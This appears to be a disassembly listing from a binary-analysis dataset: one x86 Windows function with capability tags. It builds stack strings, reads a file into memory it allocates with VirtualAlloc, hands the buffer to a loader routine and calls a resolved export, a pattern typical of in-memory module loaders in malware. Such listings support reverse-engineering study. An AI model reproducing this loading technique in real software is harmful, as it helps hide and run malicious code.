Function at 0x402850
Capabilities:
Check if file exists
Get file attributes
Get file size
Read file on windows

Disassembly:
sub esp, 0x58
mov edx, dword [0x40acb0]
mov al, 0x31
mov byte [esp + 0x1a], al
mov byte [esp + 0x1f], al
mov al, byte [0x40aca0]
mov cl, 0x56
mov byte [esp + 8], al
mov eax, dword [edx*4 + 0x40aca4]
push ebx
mov dword [esp + 4], eax
mov eax, dword [0x40aa3c]
push ebp
mov byte [esp + 0x1c], cl
mov byte [esp + 0x26], cl
mov cl, byte [0x40ac90]
xor ebp, ebp
mov bl, 0x53
push esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x21], 0x49
test eax, eax
mov byte [esp + 0x22], 0x44
mov byte [esp + 0x23], 0x3a
mov byte [esp + 0x24], 0x32
mov byte [esp + 0x25], 0x30
mov byte [esp + 0x27], 0x33
mov byte [esp + 0x28], 0x2d
mov byte [esp + 0x29], bl
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], cl
jne 0x402a41
mov ecx, dword [esp + 0x6c]
push ecx
call fcn.004027b0
add esp, 4
push ebp
call esi
push 0x40a938
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x402966
push edi
mov ecx, 0xc
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
lea edx, [esp + 0x1c]
rep stosd dword es:[edi], eax
push edx
push 0x40a938
stosb byte es:[edi], al
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0
call fcn.004025f0
add esp, 8
test eax, eax
pop edi
je 0x402966
mov ecx, dword [0x40ab54]
add eax, 6
push eax
lea eax, [esp + 0x34]
push eax
call fcn.00404550
lea ecx, [esp + 0x20]
lea edx, [esp + 0x30]
push ecx
mov ecx, dword [0x40ab54]
push edx
call fcn.004045e0
test eax, eax
je 0x40297e
push 1
push 0x40a938
call fcn.004026b0
add esp, 8
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
push 0
call esi
push 0
push 0x80
push 3
push 0
push 0
push connect
push 0x40a938
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x40a92c], eax
jne 0x4029b2
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x58
ret
push 0
call esi
mov eax, dword [0x40a92c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push eax
push 0
mov dword [0x40a924], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
mov dword [0x40a934], eax
call esi
mov ecx, dword [0x40a924]
mov edx, dword [0x40a934]
mov eax, dword [0x40a92c]
push 0
push 0x40a928
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0
call esi
mov ecx, dword [0x40a92c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call esi
mov edx, dword [0x40a934]
push edx
call fcn.00403d00
add esp, 4
mov dword [0x40a930], eax
test eax, eax
jne 0x402a37
pop esi
pop ebp
pop ebx
add esp, 0x58
ret
mov dword [0x40aa3c], 1
push 0
call esi
mov eax, dword [esp + 0x70]
mov ecx, dword [0x40a930]
push eax
push ecx
call fcn.00404170
add esp, 8
test eax, eax
je 0x402a8e
mov edx, dword [esp + 0x74]
mov ecx, dword [esp + 0xc]
push edx
mov edx, dword [esp + 0x14]
push ecx
mov ecx, dword [esp + 0x1c]
push edx
mov edx, dword [0x40a028]
push ecx
mov ecx, dword [esp + 0x78]
push 0x40acb4
push edx
push 0x40aa48
push ecx
call eax
add esp, 0x20
mov ebp, eax
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x58
ret